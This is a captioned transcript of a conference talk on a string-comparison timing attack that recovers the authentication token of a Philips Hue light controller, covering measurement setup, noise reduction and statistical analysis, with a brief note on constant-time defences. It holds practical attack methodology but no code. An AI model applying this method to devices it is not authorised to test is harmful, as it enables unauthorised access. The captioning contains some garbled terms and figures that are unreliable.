>>Paul McMillan is going to talk to us about attacking the Internet of Things, seems to be kind of a theme today but he brought in light.  So he wins and this demo is going to go just fine for him plus we had plenty of prep time.  For the last talk of the day in party track let's give a big party track welcome to Paul McMillan.
(Applause)
	>> Okay.  So I'll talk about timing attacks and the Internet of Things is a great place.  I'm a security engineer at Nebula.  I work on building clouds. This is not directly related to what I do in my all-day job, I do security.  We'll talk about a number of different ways you can -- there are lots of kinds of timing attacks.  The one we're talking about is a string comparison timing attack.  One property is that it takes a while to run so we'll get the demo started first and can you hear me from over here? No. Okay. There's a mic. One of these.  Yeah, okay.  
	So what we have -- the demonstration we're doing today is using the Phillips cube network light bulb controller in order to demonstrate I have nothing up my sleeve I'm resetting it there.  And turning the lamp on.  Now they are not connected and there are no user names or anything other data in the controller here.  The rest of the setup I have here is a extension for my PCI express bus which allows me to run server-grade network card attached to my laptop.  We'll get to that in a little bit why that's useful but the most important part is that the network card allows me to do hardware assisted time stamping, all the packets that come in and out of the device. So talking about timing attacks, at the most basic level asking a computer to do any operation takes time, a measurable amount of time.  Timing attack exploits this by noticing differences in the amount of time it takes to process something. 
This is a typical example of user authentication flow.  
	You start with the getting a user name and password from your attacker.  You look up the hash in the database.  You compare the hash you got from the hash you have in the database and then you return.  I know there are issues but it's the basic work flow.  
	The obvious timing attack here is that if the user doesn't exist in the database, this will take a lot longer or take a lot less time to run.  An attacker can use this kind of work flow to enumerate, guess a bunch of users in a database and use that to accelerate attacks.  That's not the kind of timing attack we're talking about today.  There are lots of other kinds as well.  We have blind SQL injectiong, CPU timing cache attacks against crypto.  What we are talking about today is string comparison timing attacks.  This is a pretty typical implementation of the string comparison function.  I pulled it from the source code for the device sitting over here and this is the relevant bit.  
	The most important thing about this piece of code is that rather than comparing all of the pieces of the string together at once and saying they are the same or not, atomic CPU operation, it starts with the first two characters in the string, first in each string you're comparing, compares them if they match it moves on to the next two and so on until you get to the end of the string or they don't match.  
	The important behavior here is that we have a very small timing difference when you have a string which is partly correct but not all the way correct, and the string which is not correct at all.  They, the amount of time where it either tries to do that next comparison and fails or just stops doing the comparison is something we can exploit.  
	If you look at properties you get out of this, this means when you are trying to brute-force a credential if you can do a string comparison timing attack on it, the time it takes to run the operation goes from an exponential function to a constant function of the number of items you have in the string.  
	There are a lot of, you'll see recommendations to make the passwords ten characters long.  The thing about that is adding another two characters to an authentication credential that is vulnerable to a string comparison timing attack means it only takes two more of the constant amount of time rather than raising to another power of two.  
	So this is a very powerful method if you can do it.  The problem is it's really hard to do.  A lot of people will tell you that this is only a theoretical vulnerability.  Not really an issue.  I kind of just explained why I think timing attacks are interesting.  The drawback is they generally make a lot of noise.  You have to take a lot of samples of whatever it is you are trying to compare, whatever it is you are trying to attack before you can make a decision, a statistical decision about whether or not the data you have means anything.  
	So let's talk a little bit about time.  
	The -- sort of intuitively we know getting from San Francisco to New York takes about 70 milliseconds, we know that getting data off a scanning disc takes about 13.  Going down further RAM latency is 83 nanoseconds and then getting cache in CPU you are in the 1 nano second area.  Then down to the CPU cycle which is one-third of a nano second.  By the way the reference is for everything I'm speaking of an my slides which will be on get hub after the talk.  
	So go down a little further.  We have speed of light in a network cable.  In a meter it goes about five nanoseconds, takes five nanoseconds to move meter and so when -- getting lost here.  
	So the other thing to remember when we are talking about network latency here is that usually the peaks you are working with are generally captured in milliseconds, not nano seconds.  Wireshark will show you nanoseconds but generally that's when you've done a bunch of work to make that but that's not the case.  
	So the string comparison, timing difference I talked of earlier does, you know, it's on the order of nanoseconds.  Of a difference.  But that's on a three GHz machine.  This device down here is only 120 MHz, running a little embedded processor,it doesn't do multi dual processing, it is not very smart.  
	Um, so here is a picture of it.  The way the system works is that the base controller connects via a wired connection to the network or in this case my attack system.  And then the controller speaks the ZigBee protocol.  At the moment the light bulb just acts like a normal light bulb and comes up when you turn on the power.  It looks like the device has finished so I'll start actually attacking it.  Give me a moment here.  
(Pause)
Unfortunately, I can't show you both screens at once.  What I'm doing over here is starting a TCP dump, starting a TCP dump session to collect the network traffic between the network card, the network card and the hue.  The important thing about that is that this is the very latest version of TCP dump which allows you to capture nanosecond-level differences if you have the hardware to support it.  So once I have started the TCP dump, I'm going to also go ahead and start my data collection script.  What the data collection script -- so to back up, the Hue API is very simple.  It's just to access the device, you send a get request and put the authentication credential in the URL and that's all there is to it.  Only one authentication credential, it's ten characters long, and it's not -- not hash, not encrypted. 
And so I have a python script here that is starting trying to do a whole bunch of requests to that authentication credential, starting with a set of known characters and we're collecting data now.  We're guessing the first couple character sets.  
	So let me make the data over here...
(Pause)
So we are not getting data.  I was hoping to have this computer do the analysis while that one collects data.  What I'll have to do is analyze the data on that computer as we go.  
	The downside to that is I can't use both CPUs.  If I run the analysis on that computer it's kind of noisy and pollutes the data a little bit.  
	While we collect the initial chunk of data here, we'll talk about network timing precision.  
	The milliseconds you get for the kernels default drivers are not what you want to the TCP dump, they're not what you want with the dump, they're not what you want for this kind of attack.  The details you're looking for are as I said earlier nanosecond range.  You just are really going to lose a lot of data if all you have to work with is milliseconds.  
	There are lots of things that can make your data collection imprecise. Graphics drivers, background networking.  Basically you want to turn as much of the machine off as you can.  Then once you have verified that you can actually conduct the timing attack, then you can move it back to being a more normal system and design your parameters so that works.  The other thing that is really important is using the hardware time stamping.  Default software time-stamping is really noisy, you get -- you're not top priority and that's just the way it is.  The hardware I'm using here is the Intel I 350 NIC.  A lot of the newer laptop drivers are starting to have precision time support.  These are getting added because NTP doesn't cut it for a lot of data center needs.  The data sheet on the I 350 says it can capture at precision of around eight and a half seconds. 
I'm thinking that's probably a little bit optimistic but it's not too far out.  
	I didn't put the picture here.  I wanted to get the demo working more than I wanted the slides to be pretty, so I hope that doesn't bother you too much.  
	So I already kind of explained it but the other thing that is relevant here is the express card to PCI express adapter is just the direct bus adapter, not a very complicated piece of hardware.  We're not going through other protocols to do that which allow this to retain the performance that we need for the network card.  
	So I talked through what we're doing for the data collection.  When you go to look at the code you'll see a couple really simple scripts doing individual things.  The idea was to break it down, not give you a giant monolithic thing you have to run on the same attack machine.  
	We have a traffic generator, just repeatedly sending different variations of the guess for the next character in the authentication token to the server.  We have the data collection which is TCP dump and then we have the separate analysis script and then the idea was we would feed that back through the analysis script on this machine and update the next guess as we got enough data to assume that or to prove that we knew what the next character was.  Unfortunately I'm going to have to do that by hand because the machines aren't talking to each other.  
	I'm -- I'll let that run for a little bit longer here.  
	So things to make this work.  You need at least Libpcap version 1.5.  TCP dump 4.60 or otherwise you don't have hardware time support and you don't have the ability to capture the nanosecond level.  They work on 1404, I haven't tried them anywhere else, and TCP dump 1.6.1 just came out like a week ago.  So that's a pretty good choice.  So nanoseconds turned out to be really invent to work with.  Scapy doesn't like to read the PCAP files.  Doesn't like the new format with nanoseconds from TCP dump.  Wireshark will read it but it's not a generally useful packet parsing library that you can use in other things.  For better or worse I ended up doing that and what I'm using to parse these packets in the analysis script is a package called T shark, command line version and a router called pie shark, I think. 
Another thing to remember when you work with these numbers 
(Pie shark)
 You can't convert to flow because you lose precision, easy way is use use in nanoseconds and subtract a large value from every value work with or just deal with the differences.  
	And the other problem is oftentimes you don't realize you're converting if you call out to data analysis libraries.  It's better to convert these into smaller differences when you are actually going to work with them.  
	This is the Hue API, very basic, the networking stack is very interesting and I mean that in the nicest possible way.  It always return the http 200 status code.  It doesn't really mind if you just don't send AK packets.  It just kind of keeps going.  It, as I said, it's just the user token.  There is no user name and password and it's not very fast.  Depending on how the device is feeling during any given day it's between 30 and 60 requests per second.  So this is the other limiting factor, it's nice it's slow because the timing track we're trying to exploit is more obvious but it's not nice because it takes a long time to collect the data.  
	Other things about the Hue.  It's running FreeRTOS 6.05.  SSDP implementation which I'm using to discover it on the network here is pretty much someone looked at some traffic and said oh that must be how it works and didn't read any of the documentation.  
	The behavior with the http responses is very interesting.  As I said before the speed you can get out of it is variable and the properties of the network stack seems to have is rather than buffering packets in some kind of sane manner, you send a request, it gets a request and sends back a few hundred bytes response which is always http 200, doesn't even think about that.  Then it cuts and makes a packet break and goes and thinks about it for a while longer.  Now, any time it's thinking about it and constructing the rest of your response, if you send the ARP packet to that initial part of the response, it will stop processing, go back to the network stack, dump whatever is in the network buffer, send it out and go back to processing.  This might make sense or work out well but if your machine is a lot faster than it, you can spend most of the response time having it switch between that and the thing it's actually trying to do, and you get very -- an extremely variable amount of time that the whole process takes. 
It's really problematic for your precision.  
	Let's see.  Other things.  Yeah, http stack basically ignores whatever headers you send in.  Doesn't pay attention content type of anything like that.  
	It sometimes sends out the wrong ethernet sequence and it sends a lot of random stuff even when not connected to the Internet.  I have noticed occasionally when it has an IP address it will still be trying to the TCP.  It's always looking for open DNS even when it knows where it is.  So let's go back to the principles of the attack we're doing here.  
	I think we collected about five minutes of data here.  I'm going to start the first of what will be several statistical analyses on the data we have collected and I will show you what we're getting.  
	So we're stopping the packet capture here because I would normally be doing it on that machine but it's not working out.  The other thing that takes time as I mentioned before I can't use a normal packet, nothing supports the nanosecond time stamp magic cookie at the top of the file, rather than building A parser by hand I figured for the demo it was okay to use someone else's.  The process of converting raw packet data to something I can parse is going through T shark and then turning into an XML representation of the packet, then turning that, parsing that XML and pulling out a few stats and writing them back to the file.  Ends up packing CPU on the machine that is doing it.  I would like to do better but I am more interested in the properties of the perfect concept rather than the actual time it took to implement it. 

	Let's talk about statistics.  The statistical things that we're going to do to the data in a minute are not going to be the ones that immediately spring to mind.  You can't use the T test.  You have to be very careful.  You have to read about statistical methods a great many of them require your data to be normal.  Your data in this case is most fundamentally assuredly nothing like normal. The distributions are banded and striated and I'll show you what they look like in a minute.  
	The statistical test we'll be using is called the Comogeral Smirnoff Test and it is a test which allows us to -- the hypothesis, it allows us to assert whether or not a pair of samples come from the same distribution.  Doesn't allow us to say anything more about them other than if they are -- other than whether or not they appear to be the same, from the same or different distributions so in this case we are going to be -- so we have -- to back up, let's talk about the hue API.  That user token, what we are using for the token right here is a 10 randomly chosen characters 0 through 8 and so for our hypothesis testing, we are picking, we're generating a random user token and starting with a guess from each of these categories.  Once we have parsed the data, the -- we sort the results that we got from each test into buckets based on what the first character in the first character that we're investigating is in the string. 

	So this means that what we're trying to do is say which of these, which of these data sets and in this case it will be several probably several tens of thousands of data points, which of them is different from all the other ones.  We're trying to identify it.  
	So as I said before we can't use the -- requires data be normal and the Smirnoff test is the best one that I have found.  I've tried a number of different things and the ones identified in the literature from 2009 their box test didn't work super well for my data.  Not sure whether my data looks very different from there's or what was going on there.  But KFS work pretty well.  Where are my graphs?  So this this is still parsing.  
	Once we've collected this data what do we do to actually prepare it for running into the algorithm?  We can't identify the timing difference by taking all the data putting it into the algorithm and say sort it out and collecting more samples until we get the difference we're looking for.  Unfortunately that takes a very long time.  When I submitted the talk, the amount of time it took to do a single, identify a single string that was different took me about eight hours worth of data.  I have gotten that down to about 12 minutes if the parsing works right but unfortunately I have to go back and forth through that.  
	The various ways you can prep your data, lot of ways to screw it up.  If you filter data and then you end up, so you have time series data but you're treating, the KS test does not care about the time series.  It is just sorting your data and dealing with it.  So if you have data where you have a jump in the overall processing time for a while, and you do a linear filter, you know, just an upper and lower bounds, you end up with samples where you have a lot of samples from a time period that is not well represented by the rest of your groups.  This really screws up the statistics and if you do that you end up with data that just isn't useful.  
	The Code is, is up int the repo or it will be. I  showed you how it separated out.  The code is really starting point for the analysis.  It's not a full-blown click it and run tool, especially not against some other device.  The -- let me actually show you some of this code here.  
(Pause)
Looks like we have finished the initial analysis of the first round of data so I'll go ahead and see if I can plug the laptop into the projector to show that to you.  The script we're doing now is the Calculate Guesses Script, which is taking the -- this was working earlier.  Okay.  Start by looking to see what the process data looks like.  This it what data looks like after.  What these are showing is these are showing relative differences in packet arrival times as we interrogate the unit.  If we look at the raw data for Wireshark we can see the conversation that I was telling you about with the device here.  You get requests, we get back this one part of the packet and then get back the rest of the packet and have other network connection handling.  Device doesn't know how to keep the socket open.  
	What we're looking at when we actually analyze data is that we are taking this time between this first packet and the time that the rest of the packet arrives.  A lot of times it will say look at the total time that the request for response cycle takes.  In this request just the difference between those two response packets provided a much better signal.  Um, the…
(Silence)
I don't know what's wrong.  Very frustrated.  Huh?  Yeah.  So what that should have shown us and immediately after the talk I'm sure, what that should have shown us was a collection, a set of the KS test analysis for each of the combinations of the data points.  We have eight different guesses so zero compared to 1, zero compared to 2 and so on, all combinations of the data.  In general what you see when you do that is that the as you gather more data, the values fluctuate and so you have a p value from the KS statistic but the p value from the KS statistic is not going to be the one that you look at for the overall result you're looking for, because the -- it's only relevant to that individual comparison because you're making the combination of that many comparisons.  Your overall p value has to be much lower. Your overall expected value has to be much lower than the system. So the way that we -- the way that I handled choosing which one is different is I take all those p values, pick a threshold and say when the threshold, when the values are at the acceptable threshold, we count that as a vote for each item, being different from all the others. 
As you see when you collect data as you get up into about 10,000 packets the thresholds start to become very obvious.  You start to see that everyone is saying this one, whichever one it is is different so in general when the system is not broken that takes on the order of 12 minutes per character to brute-force the system.  If you want to be really really sure and not accidentally choose the wrong character, if you go up to 15 minutes, the statistical difference starts to get just ridiculously obvious.  So I will get this working and post a YouTube video of it later.  
	We'll go through some of the things that I learned while implementing this attack.  If you can keep the socket open, do it.  Anything to reduce noise, anything to reduce the number of packets that you have while you're interacting with target device makes your life easier.  Difference is you are looking for a really small, do everything you can.  
	The -- is this not -- no, not...
(Pause)
I'm just reading the slides anyway so...
(Pause)
When you are configuring your network parameters use the hardware time stamps, turn off the queues and hardware assist on the network card, obviously use nanoseconds and just everything that you can do make everything quiet.  If your device is multithreaded it turns out using Solaris to tie up everything except for the thing you're trying to do worked pretty well.  This thing can't handle multithreading but in other things I've tried it on, that helps.  In this case don't run extra stuff, don't try to analyze and capture data at the same time.  I probably should have done that and the demo might have worked but the other thing is profile your victim.  When you are -- when you look at this thing you can actually see that the it has noisy periods and quiet periods and you can discard the noisy periods and the way you want to do that is picking a time around when the noise occurs and discarding that as opposed to just filtering values that are too high or low. 
Reason you don't want to filters values that are too high or low for discarding things around noisy periods is then you end up biasing your data towards the sample that may not be relevant.  
	Another thing that helps is if you get it warm before you start.  The differences are fairly small but as it heats up it changes.  If you don't warm it up before you start data collection you will have more trouble getting statistical certainty.  
	Again, finding the simplest request possible.  It doesn't have a lot of processing power.  Shorten the length, you get better results.  In this case I took away all http headers except for the first and second lines and it didn't notice.  Again, the most common mistake I think that I ended up making as I was working through different ways to analyze data was accidentally making assumptions about normality.  Assuming data was normal, picking a test that assumed it was normal, doing things that required data to be normal.  
	Another thing that is important is to gather data on all hypotheses concurrently.  If you gather all data on A, B, and C, because they are not linked in time you end up with sort of macro level drifts which mean that you can't compare the data.  It's completely worthless.  In the code I'm using here it randomly resorts my array of things I'm testing every time it cycles through them but doesn't just randomly pick.  It does make sure it runs each hypothesis about the same number of times.  
	Another thing, don't overwhelm the device.  If you slow down and give the device time to process the request, you end up with less noisy data.  In my case the way I did that was by setting up firewall to block packets because they were making the data noisy.  The other thing to remember about this is don't forget you can just stop and brute-force a token.  You don't have to do the timing attack all the way to the end and 10-character password if you can do the first five the rest of it may be easy to do online brute force depending on the size of the key space.  Another thing to remember is not the case in this device but in many devices, the code will short-circuit if the strings you are comparing aren't the same lengths so in this case you know how on the authentication token is. It's worth sending a full token with each request. 
Some code will short-circuit in that case.  
	I talked earlier about taking a moment to let the device breathe between requests, once you have the statistical tests, you can very easily tell the data that allows you to do hypotheses testing and say if I do this one thing does it make data better or worse and verify it as opposed to just relying on your gut feeling.  
	The other thing about this is it's really easy to get fooled by your own data.  You'll sit there, you'll gather data, analyze it and go, I have a way to analyze this data that tells me the right answer because you know what it is.  And then you'll gather, you'll write it down, apply it and gather more data and find out that the test you came up with, which relied on some magic numbers and maybe a multiple of something totally only worked for that collection of data you had.  When in doubt always take more samples and take samples, analyze them, and then take more when you change method.  Don't assume you have a method that works when you have the data that you have fit and give the result you want.  I like this quote because I think it explains that really well.  If you try hard enough eventually statistically significant findings will emerge from any reasonably complicated set. 
When result are analyzed the results simply cannot be interpreted.  At best you have to treat the findings as a hypothesis to be tested in future studies with new data.  
	So that's the end of my slides and looks like I'm out of time so other than the non-working demo, does anyone have any questions? 

>>Yep? 

>>Are the tools for this online?

>>I'm going to make the get hub repo with all the embarrassing code in it public as soon as I step away from the mic here.  

>>Would this work on a wireless network? 

>>You would have to work very hard to make this work on a wireless network.  It's probably possible.  The things you have to do to make network cards consistent enough would require a lot more samples than what I was trying to demo today.  You would probably be looking at on the order of days' worth of data to analyze a single character difference.  
>>So you said there were some graphs you had of the data plotted. Can you show us the statistically significant… oh then the next character must be a port or something.
>>I may have miss placed all of that.  That may not be here.
(Silence)
>>Yeah, I don't think I have the graphs handy.  Sorry.  Yeah?  
>>I have to design a system to defend against an attack, which is very difficult to do. What would you do?
>>To design a system to defend against this attack you have to make the correct and incorrect paths take the same amount of time.  A lot of people say I'll just add random amount of delay, which that has a predictable distribution, then I take more samples and the random amount of delay goes away.  Adding a fixed amount of delay doesn't change statistics at all.  Makes it just about the same.  Anything else?  
	>> All right.
(Applause)
	>> Thank you!
(Applause)